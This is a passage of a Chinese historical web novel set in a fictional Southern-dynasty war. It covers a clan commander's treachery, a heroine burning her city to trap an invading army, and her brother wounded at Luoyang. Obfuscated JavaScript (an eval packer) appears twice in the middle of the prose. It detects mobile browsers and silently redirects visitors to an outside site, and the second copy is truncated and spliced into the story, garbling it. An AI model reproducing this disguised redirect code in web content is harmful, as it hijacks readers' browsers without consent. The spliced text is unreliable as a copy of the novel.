想不到宋碧棠只因怀疑赵金镝,便要将其关入地牢。宋平章连忙劝阻道:“侄女,如今事情尚未查明。即便赵家有嫌疑,此事也与松声无关,他平日待侄女你如何,你心中应是有数。” “非常之时,只能行非常手段。”宋碧棠神色冷峻,毫无退让之意,“堂叔,现在我谁都不能信——” 赵松声脸色苍白,胸膛上下起伏,“二叔不必为我求情,如果真的是我父亲背叛了大将军,与北魏勾结。我赵松声也没有脸面活下去。” 他并未反抗,任由宋家的士兵将他捆绑,带往地牢关押。 宋平章虽这段时日署理庐江诸务,却无独当一面之能。虽见宋碧棠果决干练,但在他心中,宋碧棠终究只是个女子,难以在这生死存亡之际,肩负起宋氏家族命运。 宋寒章育有二子,然幼子年方十岁,前日已同何夫人一同前往江陵。宋家大事,终究需由宋海晏定夺。 他忧心忡忡道:“碧棠,如今大将军阵亡,宋氏家主之位理应由你兄长接任。宋家日后该如何行事,亦应由他决断。依我之见,这北伐成败无关紧要,当务之急是保住庐江基业,还是先修书一封,让你兄长速速回庐江为好。” “不可以给阿兄写信。”宋碧棠摇了摇头,毫不迟疑道:“堂叔可曾想过,阿父战死的消息传至北方,军心必大乱,阿兄未战便先败了。” 宋平章眉头紧皱,“可是,这场战事知晓的人极多,将军身死的消息会传扬出去,你阿兄他早晚会知道的。” “但至少能慢些,但愿阿兄能在得知消息前,先攻下洛阳。” 宋碧棠揉了揉眉心,看着西边坠下去的残阳。 父亲身死,这座庐江城很快也会落入拓跋雄之手。 外有猛虎,内有豺狼,当前局势,又岂是风雨飘摇可以形容。如果宋海晏从北伐战场上铩羽而归,宋家的声望将跌入谷底。 门阀世家的格局,并非一成不变。南朝两百年间,多少赫赫一时的姓氏,最终都淹没在历史的尘埃之中。如果宋家败落,其他的门阀只会蜂拥而上,将他们踩入泥沼之中。 父亲已经败于鸬鹚泽,阿兄绝不能败于洛阳城下。 她无法左右北伐局势,她能做的,便是在兄长归来之前,尽可能保存宋家的实力。 她写了一封信,道:“堂叔,麻烦你命人将这封信送往北方。不是送给阿兄,而是交给表哥陆思明。” 宋平章接过信件,寻人送信。 他回到议事堂时,见宋碧棠正站在门楣前,凝望着宋家主楼牌匾上“积韧千秋”的四个楷书,那古朴厚重的字迹经过二百年的风吹雨打,漆色斑驳却筋骨嶙峋,显出苍劲的底色。 听到他的脚步声,宋碧棠回头:“堂叔,我先前让你准备的东西都准备好了吗?” “都已经准备完成了。”宋平章目光闪过一丝犹豫,“碧棠,我们非要这么做吗?这庐江城,可是祖宗留下的基业啊——” “只要阿兄还在,这座城池终会复兴,我们还会回到这里。”宋碧棠遥望天际暮色,“现在我们能做的,就是成为他的后盾。做好一切准备,等他回来。” 寿春。 赵氏大宅,朱雪楼。 此楼本为寿春赵氏议事之所,如今临时改为灵堂。大门上挂着白幡,正堂四壁覆着白幔,素缟垂落如泪。堂中最中心处,停放着一座黑漆灵柩,四周白烛摇曳,映得柩上金色纹饰忽明忽暗。 最上首牌位上,“大将军宋寒章之灵位”九个大字,在烛光下泛着冷光。香炉中三炷线香将尽未尽,于灵堂中袅袅盘旋。 赵金镝一身素服,跪在灵堂之前,往火盆中扔着纸钱。他低垂着头,额前散落的发丝遮住了眉眼,看不出主人心绪。一阵穿堂风吹过,烧尽的纸钱因风飞起,灰烬飘得到处都是。 外面传来极轻的脚步声,赵金镝陡然惊觉,喝问道:“谁?不是说了不许打扰吗?” 赵氏家仆连忙跪下,道:“大人,前院来了一位客人,他自称从江左远道而来,说是有极为要紧的事,要同大人您商议。” 听到“江左”二字,赵金镝心中一震,旋即冷静下来,低声道:“将人请至我书房,切记,行事隐秘些,不要让任何人瞧见。” “是。”家仆应声去了。 赵金镝站起身,回到卧室。命下人备好热水沐浴,洗去身上鲜血与香灰之气,又换了一身干净衣裳,这才前往书房。 静室幽幽,客人并未因主人迟到而不悦,手提琉璃灯,欣赏着壁上卷轴,那是前朝王右军留下的一幅书法。 兴致所至,客人啧叹道:“想不到寿春这小城,竟藏有王右军的名品,此番前来,也算不虚此行。” 赵金镝跨过门槛:“齐二公子如果喜欢,赵某可以送给二公子。” “君子不夺人所好,今日得观真迹,足慰平生——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431956|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐椽转身,微笑道:“赵将军,我们又见面了。” 书房北侧设有座席,赵金镝请齐椽客座,命仆人奉上茶水。 这位江左齐阀的二公子姿仪如玉,修如春竹,举手投足间自有一股风流态度,给人如沐春风之感,与赵金镝镇日打交道的淮南世家大不相同。 淮南地处南北交界之地,要在此混乱之地生存,唯有靠勇武立足。世家贵族子弟的脸上也带着几分武人的粗犷。而眼前这位齐阀二公子,谈吐清雅,不染尘俗,这是钟鸣鼎食之家才能养出的清贵气质。 齐椽拿起茶杯,略沾了沾唇,从怀中取出一物,递给赵金镝道:“赵将军,我此番来淮南,专为传送侄女云珠和令郎鹤年的婚书。家父说了,等赵将军成为新任的庐江刺史,我齐家便送女与令郎完婚,成就两姓之好。” “庐江刺史?”赵金镝眼睛一亮,呼吸顿时急促起来。 “赵将军既有背叛旧主的胆略,我江左齐氏自会履行前约。”齐椽笑道:“拓跋雄大军孤军深入淮南,难以持久。我齐家和他早有约定,他可在庐江城劫掠三日。三日后,赵将军您只需振臂一呼,打着为宋寒章报仇的旗号,召集庐江剩余兵马,围剿拓跋雄大军。当然,届时你只需做做样子,将其礼送出境即可。” 他微微一顿,续道:“将军收复庐江,于国有大功。家父自会奏报朝廷,加封将军为庐江刺史。听闻赵将军次子与宋寒章之女有婚约,接收宋家势力自非难事,只需再过三五年,你们赵家便可取代宋家,成为淮南第一大族,这便是我江左齐氏给赵将军您的回报。” 赵金镝努力调整着呼吸,问道:“司徒公如此厚爱,不知还有什么需要赵某做的?” “我就喜欢和赵将军这样聪明又识时务的人打交道。”齐椽脸上笑意更盛,“赵将军要做的其实很简单,以后在朝堂之上,和我齐家共同进退,一切听凭家父的心意行事即可。” 赵金镝心中既惊且惧,却又隐隐灼热。 他如果接受了齐椽提出的条件,便意味着以后成为江左齐氏的提线傀儡。虽能成为一方封疆大吏,但并无多少自主之权,江左齐阀的势力也会逐渐渗透淮南。 但他没有拒绝的余地。他亲手害死了宋寒章,只要齐阀将此事公之于众,他便会身败名裂,万劫不复。 数月前,他随宋寒章出征之前,眼前这位齐二公子悄然来到寿春,提出将司徒公齐鸿的二孙女嫁给他的长子赵鹤年,之后,齐阀会助赵家掌控庐江,让寿春赵氏成为大楚的一等门阀。而这一切,只需他帮齐家二公子完成几件小事。 当时,他并未当即答应齐椽的要求。这位齐家二公子也未露丝毫不悦,只是微微一笑,便告辞而去。 此后,他陆续收到齐椽的几封密信,所托之事确实不难。不过是向宋寒章提几条建议,截留几封书信而已。宋寒章视他为亲信,从未起过疑心。 赵金镝心中并非没有过犹豫,但人心沉沦,不过转念之间。 世家门阀之间的格局,本就是此消彼长,有一上,必有一下。如果淮南一直牢牢把持在宋家手上,寿春赵家便永远只能依附于宋家,做次一等的门阀,永无出头之日。 他按照齐椽的吩咐,在宋寒章的兵器上做下手脚。宋寒章战死在鸬鹚泽,他也再没有退路。 没有人能拒绝权力的诱惑,江左齐阀一门两后,权倾朝野,已是大楚第一门阀,不也一样试图继续发展壮大,将整个淮南纳入自己掌中吗? 眼前这位如玉如竹、绝尘脱俗的齐氏贵胄,不也一样做着勾结外敌,残害忠良的勾当吗? 他又有什么错? 赵金镝强抑内心的波澜,问道:“齐二公子的计划看似完美,可您莫不是忘了一事?宋寒章虽死,宋海晏仍率四万大军在北方,荆州都督何长龄又是他的母舅。他们甥舅二人,怎会甘心将庐江基业拱手让人?” “我齐家费了这么多心思,赵将军以为宋海晏还能从北方回来吗?”齐椽嘴角微微上扬,露出一抹意味深长的笑容。 赵金镝心中一震,一种不祥的预感涌上心头。 齐椽接着笑道:“至于何长龄,赵将军更不必担忧。这只老狐狸把控荆州数十年,最擅审时度势、明哲保身。他再心有不甘,只要朝廷下旨封赵将军为庐江刺史,他绝不敢为了一个外甥强出头,公然与朝廷作对。” 45. 第二十七章 名城劫火 宋寒章战死鸬鹚泽的消息很快传遍庐江,百姓们为避兵祸,四散奔逃。 两天之后,拓跋雄兵临庐江城下。庐江城只有千余人马,抵抗了不到一个时辰,拓跋雄的大军便攻入庐江城内。 大军入城,庐江军的士兵节节败退。北魏大军发现城中除了零星抵抗的士兵,根本没有多少人。一位士兵推开一家首饰店的大门,只见琳琅满目的珠宝散落一地,显然主人逃跑匆忙,很多财物未曾带走。 他将那些精美的珠宝塞入自己的口袋,同行的士兵们见了,纷纷涌入,没多久就将这家店铺洗劫一空。不光士兵,军官们也加入了抢劫的行列。 拓跋雄见状,干脆下令大军就地修整,放任他们在城中抢劫。而大军在庐江城抢劫三天,本来就是那位齐家二公子许给他的条件。 军令既下,北魏大军散入庐江城中各处,为了寻找财宝,一块地皮也不放过。城外警戒的后军听闻消息,唯恐落后于人,捞不到什么油水,推搡着也都进了城。更有甚者,为了抢夺一只手镯,两个士兵大打出手,最后变成两支队伍的械斗,大家抢红了眼,不再分什么敌我,谁手上有财物,谁就是敌人。到了这步田地,就连拓跋雄也难以控制局面。 子夜时分,无人值守的四座城门不知什么时候关闭了。疲惫的北魏大军在大街上四散着躺倒睡觉,他们并没有注意到,有一支数十人的队伍已经悄然换上了和他们一样的服饰,他们游走在庐江城的各个区域,在预先准备好的柴堆和稻草垛上浇上火油,放起火来。 没有人知道火最早是从哪里燃烧起来的。一些士兵惊醒的时候,整个庐江城已经成为一片火海。 浓烟滚滚,不少人在睡梦中就被烧死、熏死。 “着火啦,快逃啊——”整条大街上都是北魏士兵的哭喊声,他们惊惶失措地朝城门奔逃而去,城门却早已被铁水浇筑封死。 无数的北魏士兵们蜂拥着向前,他们为了抢夺一条生路,不惜对自己的同伴拔刀相向,只为了更加靠近城门的位置。然而城门并没有出路,长街上踩踏而死者不计其数。 有士兵为了躲避火海,从三丈高的城墙跳下往下跳。有侥幸未死的,也断胳膊断腿,被城门下的庐江士兵当场射杀。 等到天亮的时候,豫章王长孙萧旷带着五千私兵赶到了庐江城下,与留守的庐江士兵一起,对城中的北魏大军发起反攻,他们并不急着攻城,而是用点燃的箭矢继续朝着城中乱射。 经过一整夜的烈焰焚城,幸存的北魏士兵们又累又饿,士气低落到了极点,这时,他们才发现,与生命相比,他们费尽气力抢劫的那些金银财宝一点用都没有。 拓跋雄勉强召集自己的亲卫营,用冲车撞开了庐江城的北大门,扔下数以万计的尸体,领着残兵败卒,仓皇向北而逃。 然而,胜利的代价也是惨烈的,在烈火之下,庐江城几乎化为一片焦土。 当豫章王长孙萧旷率兵进入庐江城时,他被眼前的一切惊呆了,大街上到处都是北魏士兵的尸体,难以想象庐江城仅凭三千的人马,就杀死杀伤了数倍于己的北魏大军。不知指挥此战的,是何等名将,若是自己知道,定要请教一番。 如此多的尸体堆积在大街上,极容易引发尸疫,萧旷连忙下令自家兵马帮助庐江士兵将尸体搬运出城,焚烧掩埋。 到日暮时分,有侍从来报,宋家女公子宋碧棠请他相见,想要当面感谢他率军襄助之情。 他跟着宋家的家仆走过漆黑的长街,进入被大火烧得半毁的宋家大宅,宋家的士兵们正在清理大火劫余之后的废墟,将烧毁的断梁椽木搬运出去。他们步过高高的台阶,最后停在最高处的楼台之前。宋家的家仆恭敬地行了一礼,转身离去。 一名身着素服的少女正站在烧毁的雕栏杆边缘,静静凭栏远望。少女脸若瓷釉,白皙胜雪,鬓边别着一朵白花。她身形窈窕,如细柳纤纤,在一身素服衬托下更显清冷孤绝。最特别的是那一双眼睛,并非寻常大家闺秀的静美,而是一种带着锋芒的秀丽,落日映照在她清透的瞳仁之中,她白皙的脸庞也晕染上了夕阳瑰丽的华彩。 少女回过头来,看向他,敛衽为礼:“宋氏碧棠,见过萧将军。将军星夜驰援,解我庐江之危,是庐江的恩人。”少女抬眸时,目光如秋水般澄澈,“若非将军及时赶到,就算昨夜宋家小胜,也难阻拓跋雄残部反扑。” 她忽然深深一揖,素白衣袖垂落在地,沾染了焦土:“此恩此德,我宋家没齿难忘。” 萧旷忽然生出一种不自在的感觉——他不应该这般冒冒失失匆匆赶来,最少应该找个地方洗洗手、擦擦脸,而不是这样顶着这黑如煤灰的一张脸来见庐江宋氏的话事人。 “女公子言重了。”萧旷虚扶一下,声音不自觉地放轻,“豫章与庐江隔江相望,唇齿相依,这本是分内之事。” 宋碧棠缓缓起身,抬手做了个请的手势,领着萧旷往楼台一侧走去。萧旷见一旁有一座石亭,亭中设有几案,摆着一套天青色的茶具,宋碧棠道:“如今庐江城已经焚毁,一片狼藉。所幸这座石亭尚得保全,望萧将军不嫌鄙陋,容碧棠做个小小东道……” 萧旷抱拳道:“女公子盛情,萧某却之不恭。” 宋碧棠请萧旷客座,自己坐在主位。她素手执壶,将沸水缓缓注入茶盏。水汽蒸腾,几片青翠的茶叶在盏中翻卷,犹如困龙得水般舒展开来。待茶香四溢,她方以两指推盏,将碧色茶汤送至萧旷面前,轻声道:“萧将军,请——” 萧旷端起茶盏,微微抿了一口,赞叹道:“好茶。”他稍作停顿,又想起昨夜那精彩绝伦的战役,忍不住问道:“对了,昨夜庐江仅凭区三千人马,竟能大败拓跋雄的数万大军,这场战役实在是精彩至极。不知可否请女公子引见一下宋家昨夜指挥此战的名将,萧某实在是想向其请教一二。” 宋碧棠斟茶的动作一顿,轻轻摇头道:“并无什么名将,昨夜之战是碧棠指挥,让萧将军见笑了。” “什么?”萧旷手中茶杯险些滑落,他脸上现出激动的神情:“昨夜那场精妙的奇战,竟是女公子亲自指挥?女公子这等谋略,不知愧煞多少男儿,萧某佩服之至——” 萧旷心中欢喜不已,只觉今日与宋碧棠相见,实乃人生一大幸事。他重新端起茶盏,却已无心品茶,一双眼灼灼盯着宋碧棠,想着昨晚那克敌制胜的奇思妙想,竟是出自如此秀美的头颅,那般精妙的指挥调度,竟是出自眼前这一双纤纤玉手。他心中翻涌着惊涛骇浪,浑然不觉自己失礼之极。 宋碧棠偏过头,看向远方的夕阳下的废墟:“萧将军觉得此计精妙吗?宋家经营两百年的庐江城因我的决定沦为废墟,不知多少人从此失去家园,流离失所……” 少女玉容凝伫,声音萧瑟。萧旷心中忽升起一种前所未有的哀伤之感。少女为毁去了的庐江城而哀伤,他为她的哀伤而哀伤。 萧旷忍不住宽慰道:“古语有言,‘疾风知劲草,岁寒见后凋’,庐江城中建筑虽然损毁,但人口犹存,再将三年五载,必能重建。而庐江宋氏有女公子这般人物,又何愁不能复兴呢?” “复兴吗?”宋碧棠轻轻自语,她站起身,抬头看向西北洛阳城的方向。 *** 洛阳之盛,肇始于夏商。及至光武中兴,定都洛邑,这座城池与长安齐名,并称东西两京。诗家们争相以最华丽的辞藻来歌颂它,史家也从不吝于宏伟的篇章去记载它。 然中原陆沉之后,这座千年名都,终究销沉于劫火,零落于蒿莱。 自衣冠南渡之后,南朝世族举目不见二京,只能凭载之于史籍的文章来想象它,怀念它。诗人骚客们继续为它作诗著文,或凭吊,或咏怀,似乎这样就可以追忆数百年前的汉魏风流。 “洛阳道八达,洛阳城九重。重关如隐起,双阙似芙蓉。王孙重行乐,公子好游从。别有倾人处,佳丽夜相逢。” 因为它不可望,因为它不可得,所以更加美好。 可当宋海晏真正站在这座城池面前时,他希望这座城池并非九重,道路也并不八达,更不要有防卫森严的重关双阙。 自五日前,东路大军攻占洛阳东边的重镇偃师,大楚的三路大军终于对洛阳城形成了合围之势,开始攻城。 经过三日的激战,双方在洛阳城下留下了无数的尸体。楚军使用云梯、冲车、登城车、攻打洛阳城门,北魏则据高墙要塞防守。一个又一个英勇的士兵顶上去,在敌人的箭雨中倒下,用鲜血沁染这片梦想中的土地,直到城下的每一寸泥都散发着血腥味。 夕阳西沉,余晖如血,将整片战场染成一片凄艳的赪色。天边的云霞仿佛被战火点燃,层层叠叠地燃烧着,映照着这座宏伟的千年旧都。 大楚军队经过一日鏖战,正是疲乏之时,正准备鸣金收兵。忽然,洛阳城门大开,一支黑旗玄甲的骑兵浩浩荡荡从城内冲出,直扑大楚前军。 两军相撞,大楚前军早已疲惫不堪,无法抵抗,顷刻战阵破碎。北魏大将命人吹响号角,驱牛赶羊一般追逐败军。 中军帐前,何长龄望着如潮水一般退下的士兵,正准备下令暂时退军,一旁的宋海晏突然目露精光,大声道:“舅父,请您务必顶住北魏骑兵,给我争取一点时间。攻破城门,光复洛阳,在此一举——”他不待何长龄回答,转身趋马而去。 北魏骑兵大肆屠杀,大楚前军节节败退,紧接着大楚中军战鼓如雷,吹响反攻的号角,一支生力军从右翼杀出,与北魏骑兵短兵相接。 而在左翼,另外一支三千人的骑兵从后方冒出,如风驰电掣一般,转瞬已经到了洛阳城门下方。 宋海晏一马当先,长槊寒光闪烁,挑飞仓促迎战的守军,身后铁骑如怒涛般席卷而至,如一把尖刀直插洛阳城门。 城上守军发现不对,急令关闭城门,可早已来不及。宋海晏一人一马横冲直撞,手中弓箭连发,射死城门内侧的绞盘守卫。沉重的城门在刺耳的吱呀声中停滞,再也无法合拢。宋海晏趁此机会,一人先入城门,城下无数刀枪剑戟朝他刺来,战马沥血身亡,倒在城下,宋海晏仰仗一袭甲衣,竟丝毫不肯后退,挥舞长刀,将一众守军压得后退数步,然后死死把住城门绞盘,呼喊同袍向前。 就在这时,宋海晏忽然背脊一凉,多年沙场磨砺出的本能让他瞳孔骤缩,一声尖锐的箭啸近至耳边。一支精铁箭后方破空而来,“噗”的一声闷响,三棱箭镞撕裂精钢甲片,深深没入前胸之中。宋海晏身形猛地一晃,嘴角溢出一缕猩红。 陆思明率众赶到时,正见这触目惊心的一幕。 宋海晏仍死死攥住绞盘铁链,指节因用力而发白。铁链上斑驳的锈迹混着新鲜的血渍,呈现出诡异的紫黑色。 “思明,先……夺城门……”他勉强说完这句,径直倒了下去。 陆思明的呼喊穿透战场的喧嚣:“阿晏——” 洛阳城门大开,东路大军统帅齐栋察觉机会,令旗挥扬,率大军入城。宋海晏重伤昏迷,陆思明没有心思和他争功,飞快地将宋海晏抱上马背,往后方营地冲去。宋家大军后撤十里,大军以防护的姿态,将中军大营拱卫其中。 何长龄见状,命荆州军也开始向后收缩,在宋家大军后方扎营。 深夜之时,何长龄领着数十亲兵,举着火把,请求进入宋家大军的营地。 这些日子,荆州军与庐江军共同进退。何长龄出入宋家大营,如家常便饭一般,根本无需通报传令。但今日情况不一般,宋海晏生死未卜,宋家大军的指挥权落在陆元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何长龄讶然。今日之事,从任何角度看,陆元恺首先怀疑的都应该是自己,他着实没想到陆元恺对他竟没有一丝一毫的怀疑。 “何都督,您是阿晏的舅父,我是他的姑父。寒章已经死在庐江战场上,你我二人都是阿晏最亲近的长辈。”陆元恺脸上露出悲色来,低声道:“今晚都督不来找我,明日一早我也会找何都督商议此事。” 何长龄既惊且怖,他几乎不敢相信自己的耳朵,声音微微颤抖:“你说什么?寒章……寒章他战死了?” 陆元恺强抑悲伤,低声道:“何都督请借一步说话。” 陆元恺命军医照看宋海晏,又对亲兵耳语几句,领着何长龄进入自己的营帐,两人分宾主之位坐下。不一会,陆思明匆匆进入帐中,行礼道:“何都督。” 陆元恺面色凝重,沉声道:“思明,现在阿晏遭人暗算,这件事没什么可以隐瞒了,将那封信拿出来交给何都督。” “是。”陆思明从怀中取出一封信,双手奉给何长龄,一边道:“这封信是碧棠表妹亲笔,前日送到军中,请何都督过目。” 何长龄接过信,一眼便认出了信上的笔迹。他展开信纸,目光飞快扫过上面一行一行的楷书,很快读到最后一行。他双手颤抖,声音中满是愤怒与痛心:“寒章遭算计兵败身死,赵金镝可能背叛宋家,庐江城将陷落北魏之手。如此大事,你们竟然隐瞒……碧棠丫头糊涂,你们父子也一并糊涂了吗……” 陆思明耷拉着脑袋,脸上懊悔,低声道:“此事怪我,父亲也是今晚才知道这事。阿晏自从二月从金陵回来,便心心念念于北伐大事,一心只想攻克洛阳,光复旧都。若是消息传开,军心大乱,北伐大事功败垂成,或许便成为他终生之憾。碧棠心中之意,也是如此。我本来想等到大军攻入洛阳再告诉他这件事,想不到,那幕后之人不仅针对舅父,还意图对阿晏下手……” 何长龄目光乍现寒芒,厉声道:“幕后之人是谁?” 陆元恺眼中闪过一丝犹豫,支支吾吾道:“我父子二人并无法确定,只是大致猜测……不敢干扰都督你的判断……” 何长龄见他目光闪烁,知道他心中有所顾虑,低声道:“今日之言,出君之口,入我之耳。不管对或不对,绝不会有第四人知晓,元恺直言便是。” 陆元恺这才道:“今天阿晏受伤之后,思明才拿了这封信出来给我看。虽是碧棠笔迹,开始我仍不愿相信。赵家和我陆家一样,与宋家世代姻亲,五年前,宋家还将独女碧棠许配给赵金镝之子,赵金镝绝没有理由暗中陷害宋将军。但我后来仔细一想,却记起一件事来……” 陆元恺微微一顿,续道:“今年四月,朝廷下令北伐。为此,我往寿春与赵金镝讨论我们两家协助出兵的事,却在一家酒楼上,瞥见了江左齐氏的二公子齐椽……当时,我并未觉得有什么。现在仔细想来,如果这件事有齐家的人从中掺和,情况就大不一样……今日之事,何都督当然不会加害自己的外甥,但齐家派人混入荆州大军之中,何都督您也无法察觉。如此一来,还可以离间你我两家内讧……” “齐家竟如此欺我外甥……”何长龄拍案而起,怒气冲冲道:“齐鸿那老匹夫以为我何长龄安坐荆州,没有一点脾气吗?” 陆元恺眼神暗了暗,道:“何都督,这一切都是我的猜测,我们并没有任何凭据。” “齐老贼阴险,做事怎么会让你抓住他的把柄……能让你不小心看到齐椽曾经出现在寿春,已经算是失策了……”何长龄冷呵一声:“寒章已死,阿晏受伤,不管有没有证据证明这些事和他们齐家有关,这北伐不北伐的咱们也没必要陪他们玩了。明日一早,你我一同退兵回庐江,先保住宋家基业再说其他。齐栋若是能凭他一家占住洛阳城,算他能耐——” 46. 第二十八章 梨云梦远 何长龄刚回到自家军帐,便接到传令,齐栋命他率西路军支援。 原来宋家退兵之后,齐栋率东路军入城,径直往皇城而去,希望一举攻破皇宫,捉拿北魏皇帝。大军在平昌门遭遇北魏军队伏击,而先前出城的北魏骑兵也回过神来,衔尾追杀齐家大军。 因宋海晏受伤,宋、何两家都退出战场,无人接应的东路军首尾不能兼顾,登时被杀得大败。齐栋大为光火,连忙命何长龄率军支援。何长龄正火冒三丈,怎会理他,推说自己突发疾病,不能再战,打发使者去了。 第二天一早,何长龄听闻奏报,齐栋大军在洛阳城中大败,损失两万兵马后仓皇东逃。他不甚在意,冷笑一声,便命拔寨退军。 两军经伊川、汝阳、鲁阳一线,五天后入驻许昌城。这时东边的消息陆陆续续传来,宋碧棠提前将庐江城百姓迁移至各处坞堡,趁拓跋雄大军入城抢劫财物之际,纵火焚烧庐江城。豫章王长孙萧旷率军援助,帮助宋家重新夺回庐江城,拓跋雄大败之后,率领大军一路北逃。而庐江城虽毁于战火,这片土地仍然在宋家的掌控之下。 何长龄和陆元恺两人松了一口气,决定在许昌城暂时休整几天,让宋海晏好好养伤。 那日,何长龄身边的军医樊义诊断出宋海晏所中毒箭乃是一种蛇毒,见血封喉,阴毒无比。好在那毒箭透过衣甲后劲力不足,宋海晏中毒不深,勉强捡回一条性命。 军医每日替他施针拔毒,但行军途中颠簸,他一直没有清醒,时不时还发起高热。何长龄怕他死在半路上,决定等他伤势好转之后再启程。 …… 宋海晏整日昏昏沉沉的。 他没有陷入彻底的昏迷,也没有苏醒。他能感知到周围发生的一切。宋何两家从洛阳城下退兵了,每天早上,陆思明都要将他抱上马车,经过一日颠簸,到晚上扎营之后,再安置在塌上,这时会有军医进来,为他施针喂药。 舅舅何长龄会来看他,有时候姑父陆元恺也会进来,两人低声商议着事情。他从他们的对话中知道父亲死了,庐江城陷落了,宋家大厦将倾。 有时候他们会悲伤地看着他,商议如果他也死了,事情该怎么办? 他努力地想要清醒过来,告诉舅舅和姑父他还活着,他不会死,可是不管他怎么努力,都无法睁开眼睛。 在半睡半醒之间,他做着光怪陆离、混乱不堪的梦。 他梦到他在一处庵堂的门槛上坐着,外面正在下雨。远处是一棵梨树,盛开的梨花在雨水中朦朦胧胧,白如新雪,洁白的花瓣一片一片飘落在草地上。庵堂内,阿幸正在抄写着经文,他支着腿,坐在门槛上静静地看着她,听着从屋檐下一滴一滴落下的雨声。 他希望雨水永远不要停下,梨花永远不要谢去,他想永远坐在门槛上,什么也不做,只是看着她。 阿幸停笔时,他看到了经书上的字。 一切有为法,如梦幻泡影。 他想,这一切不该是梦幻泡影啊,他对阿幸说,“我们私奔吧——” 阿幸点了点头,他牵着她的手,两人逃出庵堂。 可是阿幸不见了,他到处找她,最后看到她冠带冕旒,坐在金陵九重宫阙的御座之上。他兴高采烈地上前,说:“阿幸,我终于找到你了,我来带你走……” 他再次牵着她的手,带她逃出皇宫。有很多人追了上来,像阴影一样追逐着他,但他不在乎,他想只牵着她的手,一直奔跑,跑到哪儿都可以。阿幸忽然停住脚步,流泪对他说:“阿晏,你自己走吧,不要管我……” 他不肯放开她,他紧紧攥着她的手,一直向前跑,他要跑得比马还要快,比时间还要快,比世间一切可名状或不可名状之物都要快。 然后,他听到了破空之声,一只铁箭从后面追上了他,从他心口透体而过。可是他并没有受伤,他抬头时,看到了父亲。那只铁箭穿过了他,正中了父亲的胸膛。 父亲跪在一片泥沼之中,心口涌出血来,却以从未有过的慈爱眼神看着他。 他想要流泪,却听父亲说道:“阿晏,我们宋家的男儿只能流血,不能流泪。阿父以后不能再庇护你了,你以后要照顾好母亲、妹妹和弟弟……” …… 宋海晏从噩梦中惊醒,坐起身来。 樊军医正在给他施针,见他终于苏醒,松了一口气,道:“小宋将军既然醒了,就没有大事了,我开一副药方,以后早晚按方吃药,再过半个月,余毒就清了。” 何长龄坐在塌旁,神容憔悴,努力挤出一点微笑来,转头对亲兵道:“带樊军医下去领赏。” 亲兵领着樊军医离开,屋内只剩下宋海晏和何长龄两人。宋海晏从舅舅的眼中看到了哀伤和怜悯,于是,他知道了,他听到的那些话都是真的,他的父亲已经不在了。 他觉得自己应该哭,但父亲说过不许他流泪,于是他强自将汹涌的泪意压了回去。 “舅舅……阿父他……”宋海晏开口时,发现自己的嗓音又低又哑,说不出一句完整的话。 何长龄一眨不眨看着他,眼眶逐渐泛红,他最后伸出手,轻轻拍着外甥瘦损的肩膀:“阿晏,你父亲被奸人所害,你也被敌人的暗箭所伤。阿舅会竭尽全力,助你复仇。好男儿顶天立地,你回到庐江,要立起门户来——” “是。”他抬起头,眼中燃起火焰。 宋海晏苏醒后的第二天,大军重新开拨,从许昌到汝水上游的悬瓠城。何长龄命部将武元策分兵一半,驻守襄阳、南阳,自己率另外一半兵马与宋家大军一起,经汝水进入淮水,顺江而下。 *** 寿春城东的淮水难岸,有一处渡口名为东关渡。因为战乱的缘故,渡口已然荒废。这日夜晚,不知从何处驶来一艘华丽的画舫,停泊在渡口。 寿春赵氏的家主赵金镝带着几位部曲骑马来到渡口,他命部曲在岸边等候,自己孤身一人上了画舫。画舫船头,早有娇俏的侍奴等候。见他上船,便将他引入内室。艄翁摇起船橹,画舫朝着江心驶去。 内室之中,金炉香暖,玉簟生辉。猩红地毡之上,舞姬正在献舞,纤腰袅袅,长袖逶迤。屏风之后,坐着两位女伎,一人弹箜篌,一人和曲而歌,弹唱的是南朝时下流行的《子夜歌》,歌词不外乎男女情事,曲声靡靡,缠绵入骨。 齐椽正斜卧于矮塌之上,手中握着一只酒盏,一边饮酒,一边欣赏乐舞。 赵金镝掀帘而入,齐椽慵懒地支起身子,笑道:“赵将军来得正好。”他指了指一旁的坐席和案上温着的美酒,说道:“这新酿的九酝春,配上这子夜曲,正好消解长夜寂寥。赵将军,请坐。”他轻轻拍了拍手,侍奴们鱼贯而入,在坐席上布下美味佳肴。 赵金镝心急如焚,他哪有心情陪齐椽在此饮宴,欣赏歌舞。 这位齐二公子对他的许诺并未实现。拓跋雄虽按计划攻入庐江城,却被宋家的女公子宋碧棠施了一招烈焰焚城之计。拓跋雄收拢残兵败将,向北逃窜。 赵金镝率兵追赶,期望能捞得一二战功,可拓跋雄跑得比兔子还快,他连对方的影子都没见着,收复庐江的“战功”自然无从谈起,庐江刺史的位置显然也泡汤了。更糟糕的是,次子赵松声还被宋家扣下,显然宋家已经开始怀疑他了。 北方又传来消息,宋海晏在战场中了毒箭,本以为性命不保,谁知竟奇迹般地活了下来。荆州都督何长龄听闻宋寒章身死、庐江城焚毁的消息后,极为震怒,正率两军顺淮水而下。 等到两军进入庐江,便是他赵金镝的末日。他这边急得火烧眉毛,没想到这位齐二公子竟跟没事人一样。 他勉强坐下,毫无饮酒的兴致,一张脸阴沉得可怕。场中气氛顿时凝固,那跳舞的女伎竟错了两个节拍。齐椽微微皱眉,眼中闪过一丝不悦,命她们退下,冷冷说道:“赵将军今日火气甚大啊——” 